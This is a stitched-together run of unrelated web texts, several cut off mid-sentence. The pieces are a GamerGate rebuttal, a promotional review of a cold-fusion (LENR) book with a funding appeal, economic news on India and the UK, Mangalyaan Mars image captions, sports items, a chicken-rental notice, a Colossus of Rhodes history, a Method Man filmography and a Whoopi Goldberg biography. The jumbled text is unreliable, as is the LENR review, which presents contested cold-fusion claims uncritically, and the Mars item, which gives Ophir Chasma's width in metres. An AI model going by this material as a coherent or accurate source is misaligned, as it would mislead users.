The idea that in order to discuss journalistic ethics you must disassociate yourself from harassment is a frustrating one. (This is only half the idea most people are positing. In reality it’s closer to “If you want to discuss journalistic ethics, 1) disassociate yourself from harassment and 2) actually come o the table with an understanding of ethics and actual examples of breaches”) These people already tried that multiple times. They raised over $70,000 for a campaign by the Fine Young Capitalists to help women make videogames. (This does not in any way seem to be a tangible, good-faith attempt to disassociate with harassment. In fact, considering that a TFYC employee knowingly spread false negative information about Zoe Quinn when she was under harshest attack, in what I would characterise as an opportunistic and disgustingly misguided revenge attempt, which is the only reason GamerGate was ever aware of the group, I’d say it does the opposite) Critics called it “weaponised charity” (The Fine Young Capitalists are not a charity. All proceeds of the IndieGogo go to the company. 74% of net profits on the game go to charity. Additionally, most commentary realting to “weaponised charity” was more in regards to the actions of Mike Cernovich, non-practicing lawyer and date-rape denialist) They raised money for anti-bullying causes after Gawker employee Sam Biddle, tweeted to his tens of thousands of followers that he endorsed |
Explanation of Low Energy Nuclear Reaction by Nikita Alexandrov, President of Permanetix Corporation, was originally published in Infinite Energy Magazine issue #117 September/October 2014 and is reproduced here.
Dr. Edmund Storms, one of the foremost experts in cold fusion/LENR research has recently published a new book titled The Explanation of Low Energy Nuclear Reaction: An Examination of the Relationship Between Observation and Explanation. Dr. Storms worked at Los Alamos labs for 34 years studying energy related chemistry, specifically advanced nuclear projects. This book is currently the most up-to-date compilation of LENR research and contains over 900 references, but is written in such a way that it is organized and conducive to a well rounded understanding.
According to the preface by Dr. Mike McKubre of Stanford Research Institute, “There is no better synthesis of knowledge and understanding presently available to us and I know of no other person capable of making an evaluation at this level.” While this could be considered a reference material for experimental results, it differs from Dr. Storms’ previous books in that it introduces his theory of the mechanism behind the LENR effect, an oscillating linear cluster of two or more hydrogen or deuterium atoms called the Hydroton.
The first half of the book contains a wealth of knowledge regarding the experimental results obtained in the field. This includes the physics of the various experimental systems as well as an overview of instrumentation and general trends in the collective data. There are a large amount of pictures and graphs which really help to mentally process some of the complex relationships in the data. This section of the book is critical for anyone interested in LENR because it organizes and condenses the experimental procedures and results in a way which makes the huge amount of seemingly contradictory research much simpler to understand.
Dr. Storms takes a first-principles approach and imposes certain limits on the parameters of LENR theory based on what has been observed and basic chemical and physical principles. The experimental techniques used in the field are explained as well as the limitations and some reasons all of the facets of the LENR effect have eluded researchers. An overview of the physics of radiation from various nuclear reactions which may be present is very helpful in explaining the odd experimental results of the field. It is proposed that only a few types of radiation are produced directly from the LENR reaction but secondary radiation is produced from either the interaction of radiation with other matter in the system, traditional nuclear effects such as fractofusion (example: Ti-D experiments) or combination fusion-fission reactions (very unique part of the Hydroton theory). Dr. Storms goes into detail about how he believes various triggering methods initiate or improve the production of the LENR effect.
Dr. Storms’ theory revolves around a linear oscillating cluster of two or more hydrogen or deuterium atoms called a Hydroton. Under certain conditions this structure forms in the nano-cracks of metallic substrates. This differs significantly from the early theories of LENR in that it does not take place in the metallic lattice. Many theories are based on the fact that hydrogen or deuterium loaded into a metallic lattice inherently become pushed very close together, a shortcut towards fusion. These same theories require that the nuclear energy be communicated directly from the nucleus to the electrons (lattice) which is not unheard of but is not a traditional nuclear pathway and requires a complex explanation. Dr. Storms examines the lattice vs. nano-crack argument from a chemical, thermodynamic and transport standpoint, pulling from what we know of nuclear product production in LENR and the physics and chemistry of hydride/deuteride systems.
Dr. Storms insists that it is simply not possible to both produce fusion and dissipate the energy inside of a lattice. His model does not rely on energy dissipation via the lattice but through a steady release of bursts of low energy photons as the Hydroton oscillates and fusion occurs. Another significant difference compared to most theories is that it explains the different results obtained using deuterium vs. using hydrogen via two different mechanisms. This is important because many early theories only focused on deuterium fusion ignoring hydrogen all together, but modern experiments show that hydrogen does indeed participate in the LENR effect.
Lastly, Dr. Storms explains the various methods of producing transmutation products, either via a fusion-fission reaction of a hydrogen containing Hydroton or by the substrate atoms becoming part of the Hydroton in deuterium containing Hydrotons. The mechanism producing tritium and helium is explained in detail as well, but will not be explained here. Dr. Storms’ theory explains all known aspects of LENR in a very new way, not requiring the limitations of the mechanism taking place directly in the substrate lattice.
This theory is testable in various manners. Dr. Storms makes some suggestions in the book including the confirmation of predicted transmutation products as well as the detection of soft radiation such as low energy photons, betas, alphas and energetic ions. Dr. Storms points out that the reason radiation is not often detected is that the expected types and energies of radiation can simply not be detected outside of the experiment, requiring in-situ soft radiation detectors. So far it seems that experimental results line up with Dr. Storms’ theory but since his theory was built around this data it is important that future experiments be compared to what is expected using his model. Single or multiple deuterium addition to the substrate in deuterium containing Hydrotons, or fusion-fission products in hydrogen containing Hydrotons, would be expected and a good place to examine the theory experimentally.
Overall this is an excellent theory which can make some predictions; it will not allow us a complete mastery of LENR but is a large step in the right direction. Most of Dr. Storms’ theory is based on traditional physics and chemistry but there are certain aspects which are not fully understood, specifically how a Hydroton releases controlled bursts of photons at very low energies before the completion of the fusion process. This is the sticking point of LENR theory—it is not so hard to explain how two atoms fuse, but how they release their huge amount of energy without creating standard hot fusion products and detectable radiation as well as destroying the lattice local where the event took place.
By investigating experimental results and applying his physics and chemistry understanding, Dr. Storms is able to produce some basic equations which explain the power produced by LENR systems and show optimal operating conditions. Like everything else Dr. Storms produces, these equations are created using first principles and basic science; a Ph.D. is not required to wrap your head around this book as well as his theory in general.
Dr. Storms’ book contains a chapter of modern theories of LENR including limitations and possible shortcomings. This inventory of theories is great because it provides an excellent balanced overview of the field from a theoretical standpoint. This combined with the overview of the field from an experimental standpoint makes this the best reference book in the field of LENR. This book is highly recommended for anyone from the student interested in learning about LENR for the first time to highly trained scientists working in the field of LENR. There will be no disappointment in the level of detail and with over 900 references it provides an incredibly organized wealth of information regarding LENR experiments and theory.
The final chapter “Future of LENR” provides a road-map forward, listing the requirements for mastering the LENR effect as well as what needs to be done experimentally to get there. One thing the book does not mention is that Dr. Storms is ready and willing to put his LENR skill-set and understanding to the ultimate test—along with other researchers Dr. Storms has proposed an experimental research program to further the understanding of LENR. Dr. Storms is currently in the process of raising money for this research program and at millions of dollars per year, this could be the Manhattan project of LENR. The only thing standing between mankind and a guaranteed increased understanding of LENR is research funding and public awareness. I urge anyone interested in LENR to inform others about this book and the field in general and those which are financially independent to contact Dr. Storms about his research proposal. — Nikita Alexandrov, Permanetix Corporation
Read the original article published on Infinite Energy.
Related Links
The Explanation of LENR Homepage http://lenrexplained.com/
Nikita Alexandrov Advanced analytic and highly parallel Cold Fusion Experimentation [.pdf] presented at the 2014 CF/LANR Colloquium at MIT.India’s economy may be growing more than twice as fast as the rest of the world but the story on the jobs creation front is just the opposite. India’s economy will grow at 7% in the current fiscal year, according to the Organisation of Economic Cooperation and Development (OECD).
But India’s rate of employment has declined and job creation has not kept up with the growing working-age population.
It lags most other countries in creating quality jobs (see chart).
Over 30% of youth aged 15-29 in India are not in employment, education or training (NEETs). This is more than double the OECD average and almost three times that of China.
NEET is a relatively new concept.
According to the OECD, youth inactivity presents the share of young people (age 15-29) not in employment, education or training (NEET) as a percentage of the total number of young people in the corresponding age group.
ALSO READ | India stares at a future without jobs
“NEETs include all youth left outside paid employment and formal education and training systems. They are NEET because there are not enough quality jobs being created in the system and because they have little incentives or face too high constraints to be in the education and training systems," said Isabelle Joumard, senior economist and head of the India desk, OECD.
Why does India fare poorly on this front? Several factors are responsible. Labour laws in India are complex and relatively strict. Employment protection legislation is restrictive, compared with other emerging economies and OECD countries, OECD said in its India Economic Survey 2017 report. “Thus, corporates in India tend to rely more on temporary contract labour, stay small or substitute labour for capital to avoid strict labour laws. Apart from that, corporate income tax has created a giant bias against labour-intensive activities," Joumard added.
ALSO READ | The world in the next five years: A dystopian view
The current government is making efforts to correct the situation. It has reduced administrative requirements for complying with existing labour laws and increased transparency in routine interaction between firms and administrations, thereby making the labour regulations friendlier for job creation. More needs to be done to streamline labour laws and states have a role to play too, said Joumard.
The OECD 2017 survey also points out that for India, assessing labour market trends is made difficult by poor employment data, with information for total employment available only every five years. The last NSSO round was held in FY2011-12. More frequent data could help take policy actions in a timely manner. At 3.8% of GDP, public spending on education in India is lower than countries like Brazil and Malaysia. The focus of the government needs to shift to spending on enhancing the quality of education and vocational training. All these measures together could possibly improve India’s track record on job creation.The economy is growing at its fastest pace in three years, official figures today confirmed. The Office for National Statistics reported that GDP expanded by 0.8 per cent between July and September, the biggest quarterly jump in output since 2010. The output of the entire economy was 1.5 per cent higher in the third quarter of 2013 than it was in the same period a year earlier.
"This shows that Britain's hard work is paying off and the country is on the path to prosperity" said the Chancellor, George Osborne, on Twitter. Labour welcomed the news but pointed out that real wages for most people are still falling. "For millions of people across the country still seeing prices rising faster than their wages this is no recovery at all" said the shadow Chancellor, Ed Balls.
Growth was broad based, according to the ONS, with all three major sectors of the economy expanding. The dominant services sector grew by 0.7 per cent, while industrial production and construction expanded by 0.5 per cent and 2.5 per cent respectively. Manufacturing output grew by 0.9 per cent.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
However, the ONS reported that the economy remains 2.5 per cent below its peak level in the first three months of 2008, making this easily the slowest recovery from a recession on record. And some City of London economists expressed concerns about the sustainability of the high growth rate, pointing out that the recovery has largely been driven this year by increased consumer spending and a falling household savings rate.
"This is an encouraging mix although there is still relatively little evidence of a rebalancing of the UK economy" said James Knightley of ING. "While service sector output is now above pre-recession levels in real terms, construction is still down 12.5 per cent on the first quarter of 2008 and production industry output is down 12.8 per cent".
Howard Archer of IHS Global Insight warned the high rate was unlikely to maintained into 2014. "GDP growth seems likely to ease back following the surge in activity in the second and third quarters given still significant constraints, notably including consumers' squeezed purchasing power" he said.
Nevertheless, City analysts predicted decent growth would help push down the jobless rate and bring a rate rise into play earlier than the Bank of England currently has pencilled in. Under its forward guidance policy, the Bank has said it will not consider a rate rise until unemployment falls below 7 per cent.
"We expect the first interest rate rise to come at least a year earlier than the late 2016 date the Bank has signalled" said Rob Wood of Berenberg. "All eyes will now turn to the Bank of England which needs to provide an update on its forward guidance on interest rates" added Azad Zangana of Schroders.
The third quarter growth was slightly higher than the 0.7 per cent expansion predicted by the Bank's Monetary Policy Committee, as revealed by this week's minutes of its October meeting. The Bank's November Inflation Report, due out on 13 November, is now widely expected likely to bring forward the date when unemployment falls to the 7 per cent threshold. Money markets rates suggest City traders think the first rise in the base rate will come in early 2015.
The GDP estimate from the ONS was exactly in line with City expectations, but still helped to lift the pound to $1.62, before it fell back again. The 10 year Gilt yield was flat in morning trade.
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At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowIndia’s Mangalyaan—the world’s cheapest Mars mission—has sent back some stunning images of the red planet’s surface.
On July 19, the mission snapped images of Ophir Chasma, a massive canyon that is some 317 kilometres long and 62 metres wide. It is part of the Valles Marineris, a system of canyons on Mars that’s about 4,000-km long—nine times the length of the Grand Canyon in the US.
Mangalyaan, with its indigenously-developed Mars Color Camera, is also transmitting photographs of other physical formations on Mars, including craters, ridges and valleys.
Launched on Nov. 05, 2013 by the Indian Space Research Organisation (ISRO) as its first interplanetary mission, Mangalyaan reached the Mars orbit in Sept. 2014. Since then it has been monitoring the planet and studying its surface and atmosphere.
ISRO A 3D view of Arsia Mons, a huge volcano on Mars.
ISRO Eos Chaos area, part of the gigantic Valles Marineris Canyon of Mars.
ISRO The first image of Mars taken from a height of 7,300 km.
ISRO Ophir Chasma terrain.
ISRO Phobos, one of the two natural satellites of Mars, silhouetted against the Martian surface.
ISRO Pital Crater.
ISRO Aurorae Chaos, Pyrrhae Chaos and adjoining regions of Mars.
ISRO Regional dust storm activities over Northern Hemisphere of Mars.
ISRO Photo taken from an altitude of 8,449 km.
ISRO Ophir Chasma terrain.
ISRO Tyrrhenus Mons as seen by Mars Color Camera.
ISRO Valles Marineris and adjoining regions of Mars.
ISRO Central portion of Valles Marineris of Mars.Sources have confirmed that Jalen Hurts, a 2016 dual-threat quarterback from Channelview (Texas) High School, has committed to Alabama.
Hurts becomes the eleventh commitment in the ’16 class bumping the Tide to the No. 7 spot in the 247Sports Team Rankings.
Back in April, Hurts took an unofficial visit to Alabama with his father/coach, Averion Hurts. The elder Hurts had this to say about the visit:
“They’re a little bit more wide-open then they have been in the past, which is a plus. They do a little more no-huddle, gun stuff. It was great for me, and Jalen enjoyed it too, to see their tempo and their structure. As a high school coach you can understand how Coach Saban has gotten to the level he is at. He expects a lot from his kids, and he does a lot and cares a lot for them. It’s clear their goal is to win a national championship every single year, so we got to see what kind of things go in to achieving that goal.”
On Friday night Hurt's father sent one simple text after the news broke.
"Roll Tide," Hurts said.
Hurts, a 6-foot-2, 208-pound prospect, is rated the No. 9 dual-threat quarterback and the No. 277 overall player in the class per the 247Sports Composite rankings. He chose the Tide over Texas A&M, Mississippi State and Florida.
As a junior, Hurts passed for 2,545 yard and 21 touchdowns. He also rushed for 951 yards and another 19 scores.
For more news on Alabama sports and recruiting, follow BamaOnLine on TwitterCopyright by WRIC - All rights reserved Photo courtesy Rent-A-Chicken Facebook page
Copyright by WRIC - All rights reserved Photo courtesy Rent-A-Chicken Facebook page
RICHMOND, Va. (WRIC) -- Rent-A-Chicken is now offering seasonal hen rentals in Virginia, including Richmond, Charlottesville and Lynchburg.
Rent-A-Chicken started in Traverse City, Michigan eight years ago and loves to bring clients the joy of owning chickens without the hassle of winter maintenance. Renters get to try out chickens without the stress of raising them up from chicks. Since the hens are delivered already laying, customers don't have to wait to appreciate fresh eggs.
The company is starting deliveries Monday and will delivery to anyone within 85 miles of Rice, Va. They'll bring and set up a coop and run with two laying hens and all their accessories.
To rent a chicken, contact Sarah Austin 434-808-6950 or email at AustinSarah233@gmail.com.
Find 8News on Twitter Facebook, and Instagram ; send your news tips to iReport8@wric.comThe Colossus of Rhodes
Historians believe the Colossus of Rhodes stood at the harbor entrance of the ancient port city. (Copyright LeeKrystek, 2011)
Travelers to the New York City harbor see a marvelous sight. Standing on a small island in the harbor is an immense statue of a robed woman, holding a book and lifting a torch to the sky. The statue measures almost one-hundred and twenty feet from foot to crown. It is sometimes referred to as the "Modern Colossus," but more often called the Statue of Liberty.
This awe-inspiring statue was a gift from France to America and is easily recognized by people around the world. What many visitors to this shrine to freedom don't know is that the statue, the "Modern Colossus," is the echo of another statue, the original colossus, that stood over two thousand years ago at the entrance to another busy harbor on the Island of Rhodes. Like the Statue of Liberty, this colossus was also built as a celebration of freedom. This amazing statue, standing the same height from toe to head as the modern colossus, was one of the Seven Wonders of the Ancient World.
The Island of Rhodes
The island of Rhodes was an important economic center in the ancient world. It is located off the southwestern tip of Asia Minor where the Aegean Sea meets the Mediterranean. The capitol city, also named Rhodes, was built in 408 B.C. and was designed to take advantage of the island's best natural harbor on the northern coast.
Seven Quick Facts Location: Island of Rhodes (Modern Greece) Built: Between 292 - 280 BC Function: Commemorate War Victory Destroyed: 226 BC by an earthquake Size: Height without 50 foot pedestal was 110 ft. (30m) Made of: Bronze plates attached to iron framework Other: Made in the shape of the island's patron god Helios
In 357 B.C. the island was conquered by Mausolus of Halicarnassus (whose tomb is one of the other Seven Wonders of the Ancient World) but fell into Persian hands in 340 BC and was finally captured by Alexander the Great in 332 BC. When Alexander died of a fever at an early age, his generals fought bitterly among themselves for control of Alexander's vast kingdom. Three of them, Ptolemy, Seleucus, and Antigous, succeeded in dividing the kingdom among themselves. The Rhodians supported Ptolemy (who wound up ruling Egypt) in this struggle. This angered Antigous who in 305 BC sent his son Demetrius to capture and punish the city of Rhodes.
The War with Demetrius
The war was long and painful. Demetrius brought an army of 40,000 men. This was more than the entire population of Rhodes. He also augmented his force by using Aegean pirates.
An engraving by Martin Heemskerck in 16th-century helped to establish the inaccurate harbor spanning pose in people's minds.
The city was protected by a strong, tall wall and the attackers were forced to use siege towers to try and climb over it. Siege towers were wooden structures that could be moved up to a defender's walls to allow the attackers to climb over them. While some were designed to be rolled up on land, Demetrius used a giant tower mounted on top of six ships lashed together to make his attack. This tower, though, was turned over and smashed when a storm suddenly approached, causing the battle to be won by the Rhodians.
Demetrius had a second super tower built and called it the Helepolis which translates to "Taker of Cities." This massive structure stood almost 150 feet high and some 75 feet square at the base and weight 160 tons. It was equipped with many catapults and skinned with wood and leather to protect the troops inside from archers. It even carried water tanks that could be used to fight fires started by flaming arrows. This tower was mounted on iron wheels and it could be rolled up to the walls under the power of 200 soldiers turning a large capstan.
When Demetrius attacked the city, the defenders stopped the war machine by flooding a ditch outside the walls and miring the heavy monster in the mud. By then almost a year had gone by and a fleet of ships from Egypt arrived to assist Rhodes. Demetrius withdrew quickly, leaving the great siege tower where it was. He signed a peace treaty and called his siege a victory as Rhodes agreed to remain neutral in his war against Ptolemy.
Statue Commemorates Victory
Another artist's conception of the statue with a slightly different pose (Copyright Lee Krystek, 1998 )
The people of Rhodes saw the end of conflict differently, however. To celebrate their victory and freedom, the people of Rhodes decided to build a giant statue of their patron god Helios. They melted down bronze from the many war machines Demetrius left behind for the exterior of the figure and the super siege tower became the scaffolding for the project. Although some reportedly place the start of construction as early as 304 BC it is more likely the work started in 292 BC. According to Pliny, a historian who lived several centuries after the Colossus was built, construction took 12 years.
The statue was one hundred and ten feet high and stood upon a fifty-foot pedestal near the harbor entrance perhaps on a breakwater. Although the statue has sometimes been popularly depicted with its legs spanning the harbor entrance so that ships could pass beneath, it was actually posed in a more traditional Greek manner. Historians believe the figure was nude or semi-nude with a cloak over its left arm or shoulder. Some think it was wearing a spiked crown, shading its eyes from the rising sun with its right hand, or possibly using that hand to hold a torch aloft in a pose similar to one later given to the Statue of Liberty.
No ancient account mentions the harbor-spanning pose and it seems unlikely the Greeks would have depicted one of their gods in such an awkward manner. In addition, such a pose would mean shutting down the harbor during the construction, something not economically feasible.
When the statue was finished it was dedicated with a poem: To you, o Sun, the people of Dorian Rhodes set up this bronze statue reaching to Olympus, when they had pacified the waves of war and crowned their city with the spoils taken from the enemy. Not only over the seas but also on land did they kindle the lovely torch of freedom and independence. For to the descendants of Herakles belongs dominion over sea and land.
Colossus To Be Rebuilt? Plans to rebuild the Colossus of Rhodes has been discussed a number of times in the last fifty years. The most recent proposal came in 2008. East German artist Gert Hof hopes to construct a new version of the statue to Helios. However, he does not wish to make it an exact replica. Instead it will stand up to three times as tall as the original and allow people to enter it. At night it will tell "stories" using an innovative light show.
Engineering the Statue
The statue was constructed of bronze plates over an iron framework (very similar to the Statue of Liberty which is copper over a steel frame). According to the book of Pilon of Byzantium, 15 tons of bronze were used and 9 tons of iron, though these numbers seem low to modern architects. The Statue of Liberty, roughly of the same size, weighs 225 tons. The Colossus, which relied on weaker materials, must have weighed at least as much and probably more.
Ancient accounts tell us that inside the statue were several stone columns which acted as the main support. Iron beams were driven into the stone and connected with the bronze outer skin. Each bronze plate had to be carefully cast then hammered into the right shape for its location in the figure, then hoisted into position and riveted to the surrounding plates and the iron frame.
Some stories say that a massive earthen ramp was used to access the statue during construction. Modern engineers, however, calculate that such a ramp running all the way to the top of the statue would have been too massive to be practical. This lends credence to stories that the wood from the Helepolis seige engine was reused to build a scaffolding around the statue while it was being assembled.
The architect of this great construction was Chares of Lindos, a Rhodian sculptor who was a patriot and fought in defense of the city. Chares had been involved with large scale statues before. His teacher, Lysippus, had constructed a 60-foot high likeness of Zeus. Chares probably started by making smaller versions of the statue, maybe three feet high, then used these as a guide to shaping each of the bronze plates of the skin.
It is believed Chares did not live to see his project finished. There are several legends that he committed suicide. In one tale he has almost finished the statue when someone points out a small flaw in the construction. The sculptor is so ashamed of it he kills himself.
Comparing the Statue of Liberty with the Colossus: Though the bodies are the same size, Liberty stands higher because of the taller pedestal.
In another version the city fathers decide to double the height of the statue. Chares only doubles his fee, forgetting that doubling the height will mean an eightfold increase in the amount of materials needed. This drives him into bankruptcy and suicide.
There is no evidence that either of these tales is true, however.
Collapse of the Colossus
The Colossus stood proudly at the harbor entrance for some fifty-six years. Each morning the sun must have caught its polished bronze surface and made the god's figure shine. Then an earthquake hit Rhodes in 226 BC and the statue collapsed. Huge pieces of the figure lay along the harbor for centuries.
A computer simulation suggests that the shaking of the earthquake made the rivets holding the bronze plates together break. At first only a few weak ones gave way, but when they failed the remaining stress was transferred to the surviving rivets, which then also failed in with a cascading effect. Though some accounts related that the statue fell over and broke apart when it hit the ground, it is more likely pieces, starting with the arms, dropped away. The legs and ankles might have even remained in position following the quake.
"Even as it lies," wrote Pliny, "it excites our wonder and admiration. Few men can clasp the thumb in their arms, and its fingers are larger than most statues. Where the limbs are broken asunder, vast caverns are seen yawning in the interior. Within it, too, are to be seen large masses of rock, by the weight of which the artist steadied it while erecting it."
It is said that the Egyptian king, Ptolemy III, offered to pay for its reconstruction, but the people of Rhodes refused his help. They had consulted the oracle of Delphi and feared that somehow the statue had offended the god Helios, who used the earthquake to throw it down.
In the seventh century A.D., the Arabs conquered Rhodes and broke the remains of the Colossus up into smaller pieces and sold it as scrap metal. Legend says it took 900 camels to carry away the pieces. A sad end for what must have been a majestic work of art.
Video: The Destruction of the Great Colossus2018 Game Over, Man! (writer: "C.R.E.A.M.", "Bring da Ruckus" - as Clifford Smith)
(writer: "C.R.E.A.M.", "Bring da Ruckus" - as Clifford Smith)
The Looming Tower (TV Mini-Series) (performer - 1 episode, 2018) (writer - 1 episode, 2018)
Mercury (2018)... (performer: "I'll Be There for You/You're All I Need to Get By") / (writer: "I'll Be There for You/You're All I Need to Get By") (TV Mini-Series) (performer - 1 episode, 2018) (writer - 1 episode, 2018)
2017 All Eyez on Me (writer: "C.R.E.A.M." - as Clifford Smith)
(writer: "C.R.E.A.M." - as Clifford Smith)
2017 Fist Fight (writer: "All I Need" - as Clifford Smith)
(writer: "All I Need" - as Clifford Smith)
2016 Luke Cage (TV Series) (performer: "Bulletproof Love")
(TV Series) (performer: "Bulletproof Love")
2016/I Nerve (writer: "C.R.E.A.M." - as Clifford Smith)
(writer: "C.R.E.A.M." - as Clifford Smith)
2015 Straight Outta Compton (writer: "C.R.E.A.M." - as Clifford Smith)
(writer: "C.R.E.A.M." - as Clifford Smith)
2014 Step Up All In (performer: "Judgement Day") / (writer: "Judgement Day" - as Clifford Smith)
(performer: "Judgement Day") / (writer: "Judgement Day" - as Clifford Smith)
2013 Kevin Hart: Let Me Explain (Documentary) (performer: "Let Me Explain") / (writer: "Let Me Explain" - as C. Smith)
(Documentary) (performer: "Let Me Explain") / (writer: "Let Me Explain" - as C. Smith)
2012 The Man with the Iron Fists (writer: "Shame On A Nigga")
(writer: "Shame On A Nigga")
2012 Something from Nothing: The Art of Rap (Documentary) (writer: "As High As Wu-Tang Get")
(Documentary) (writer: "As High As Wu-Tang Get")
2011 A Very Harold & Kumar 3D Christmas (writer: "Wu-Tang Clan Ain't Nuthing ta F'wit" - as Clifford Smith)
(writer: "Wu-Tang Clan Ain't Nuthing ta F'wit" - as Clifford Smith)
2010 Repo Men (performer: "Release Yo' Delf (Prodigy Mix)") / (writer: "Release Yo' Delf (Prodigy Mix)")
(performer: "Release Yo' Delf (Prodigy Mix)") / (writer: "Release Yo' Delf (Prodigy Mix)")
2008 Lakeview Terrace (writer: "Gravel Pit" - as Clifford Smith)
(writer: "Gravel Pit" - as Clifford Smith)
2008 Meet Dave (writer: "Protect Ya Neck" - as Clifford Smith)
(writer: "Protect Ya Neck" - as Clifford Smith)
2008 The Wackness (writer: "The What", "Tearz" - as Clifford Smith)
(writer: "The What", "Tearz" - as Clifford Smith)
2008 First Sunday (writer: "C.R.E.A.M." - as Clifford Smith)
(writer: "C.R.E.A.M." - as Clifford Smith)
2007 Bling: A Planet Rock (Documentary) (writer: "C.R.E.A.M." - as Clifford Smith)
(Documentary) (writer: "C.R.E.A.M." - as Clifford Smith)
2007 Illegal Tender (writer: "C.R.E.A.M.")
(writer: "C.R.E.A.M.")
2005 The Bonnie Situation (performer: "When it Goes Down")
(performer: "When it Goes Down")
2005 Grand Theft Auto: Liberty City Stories (Video Game) ("All I Need", "Do What You Feel") / (writer: "All I Need", "Do What You Feel" - as C. Smith)
(Video Game) ("All I Need", "Do What You Feel") / (writer: "All I Need", "Do What You Feel" - as C. Smith)
2005 Daltry Calhoun (writer: "June's Mash Up" - as Clifford Smith)
(writer: "June's Mash Up" - as Clifford Smith)
2004 Grand Theft Auto: San Andreas (Video Game) (writer: "Wicked Inna Bed" - uncredited)
(Video Game) (writer: "Wicked Inna Bed" - uncredited)
2004 Beef II (Video documentary) (performer: "4, 3, 2, 1")
(Video documentary) (performer: "4, 3, 2, 1")
2004 You Got Served (performer: "Uh Huh") / (writer: "Uh Huh" - as Clifford Smith)
(performer: "Uh Huh") / (writer: "Uh Huh" - as Clifford Smith)
2003 Lyricist Lounge: Hip Hop Video Classics (Video) (writer: "C.R.E.A.M." - as Clifford Smith)
(Video) (writer: "C.R.E.A.M." - as Clifford Smith)
2003 Cradle 2 the Grave (performer: "Uh, Huh") / (writer: "Uh, Huh" - as Clifford Smith)
(performer: "Uh, Huh") / (writer: "Uh, Huh" - as Clifford Smith)
2002 8 Mile (performer: "I'll Be There For You" (Puff Daddy Remix), "Bring the Pain") / (writer: "I'll Be There For You" (Puff Daddy Remix), "Bring the Pain", "C.R.E.A.M." - as Clifford Smith)
(performer: "I'll Be There For You" (Puff Daddy Remix), "Bring the Pain") / (writer: "I'll Be There For You" (Puff Daddy Remix), "Bring the Pain", "C.R.E.A.M." - as Clifford Smith)
2002 All About the Benjamins (performer: "Da Rockwilder") / (writer: "Da Rockwilder" - as Clifford Smith)
(performer: "Da Rockwilder") / (writer: "Da Rockwilder" - as Clifford Smith)
2001 How High (performer: "Round & Round", "Cisco Kid", "How High", "All I Need", "Let's Do It", "How High II", "Big Dogs", "Bring the Pain", "Da Rockwilder") / (writer: "Round & Round", "How High", "All I Need", "Let's Do It", "How High II", "Big Dogs", "Bring the Pain", "Da Rockwilder" - as Clifford Smith)
(performer: "Round & Round", "Cisco Kid", "How High", "All I Need", "Let's Do It", "How High II", "Big Dogs", "Bring the Pain", "Da Rockwilder") / (writer: "Round & Round", "How High", "All I Need", "Let's Do It", "How High II", "Big Dogs", "Bring the Pain", "Da Rockwilder" - as Clifford Smith)
2001 The Fast and the Furious (performer: "Rollin' (Urban Assault Vehicle)") / (writer: "Rollin' (Urban Assault Vehicle)" - as Clifford Smith)
(performer: "Rollin' (Urban Assault Vehicle)") / (writer: "Rollin' (Urban Assault Vehicle)" - as Clifford Smith)
2001 Save the Last Dance (as Clifford Smith, "Da Rockwilder") / (performer: "Da Rockwilder" - as Methodman)
(as Clifford Smith, "Da Rockwilder") / (performer: "Da Rockwilder" - as Methodman |
drew a crowd of 7,013, the largest in Tsongas Center history. The fans didn’t have much to cheer for most of the game, but as Lowell came back and eventually tied it, they got very loud. The fact that Lowell drew a record crowd against a ninth-place team really speaks to the ever-increasing excitement around this program.
-With the win, the River Hawks moved into a tie for fifth in the standings with Merrimack. They remained seventh in the Pairwise as of 11:05 p.m. The Huskies dropped to ninth in the standings with the loss.
-Northeastern defenseman Drew Ellement left the game in the first period with an apparent leg injury and did not return. He was involved in a post-whistle scrum and ended up falling awkwardly. He tried to come out for another shift a couple minutes later, but then he left for good. Madigan said after the game that he wasn’t yet sure of the extent of the injury.
-Ryan McGrath was back in the lineup for Lowell after missing Friday’s game with an undisclosed injury. Connor Hellebuyck missed a third straight game with an undisclosed injury. Bazin said on Friday that Hellebuyck is day-to-day.Caryn Elaine Johnson (born November 13, 1955),[1] known professionally as Whoopi Goldberg (), is an American actress, comedian, author, and television hostess. She has been nominated for 13 Emmy Awards and is one of the few entertainers to have won an Emmy Award, a Grammy Award, an Academy Award, and a Tony Award. She is the second black woman to win an Academy Award for acting.
Goldberg's breakthrough role was Celie, a mistreated woman in the Deep South, in the period drama film The Color Purple (1985), for which she was nominated for the Academy Award for Best Actress and won her first Golden Globe Award. For her role in the romantic fantasy film Ghost (1990) as Oda Mae Brown, an eccentric psychic, Goldberg won the Academy Award for Best Supporting Actress and a second Golden Globe, her first for Best Supporting Actress.
In 1992, Goldberg starred in the comedy Sister Act, earning a third Golden Globe nomination, her first for Best Actress – Motion Picture Comedy or Musical. She reprised the role in Sister Act 2: Back in the Habit (1993), making her the highest-paid actress at the time. Her other film roles include Made in America (1993), The Lion King (1994), Boys on the Side (1995), Ghosts of Mississippi (1996), How Stella Got Her Groove Back (1998), Girl, Interrupted (1999), For Colored Girls (2010), and Teenage Mutant Ninja Turtles (2014). In television, Goldberg is known for her role as Guinan on Star Trek: The Next Generation; since 2007, she has been the moderator of the talk show The View. In February 2019, Goldberg revealed that she asked BBC bosses to hire her as the first female Doctor in Doctor Who years ago, but they did not offer her the role.[2]
Background and early life [ edit ]
Caryn Elaine Johnson was born in New York City's Manhattan borough on November 13, 1955, the daughter of Robert James Johnson Jr. (March 4, 1930 – May 25, 1993), a Baptist[3] clergyman, and Emma Johnson (Née Harris; September 21, 1931 – August 29, 2010),[4] a nurse and teacher.[5][6] She was raised in the Chelsea-Elliot Houses.
Goldberg has described her mother as a "stern, strong, and wise woman" who raised her as a single mother with her brother Clyde (c. 1949 – May 11, 2015), who died of a brain aneurysm.[7][8] She attended a local Catholic school, St Columba's, when she was younger. Her more recent forebears migrated north from Faceville, Georgia, Palatka, Florida and Virginia.[9] She dropped out of Washington Irving High School.[10][11][12]
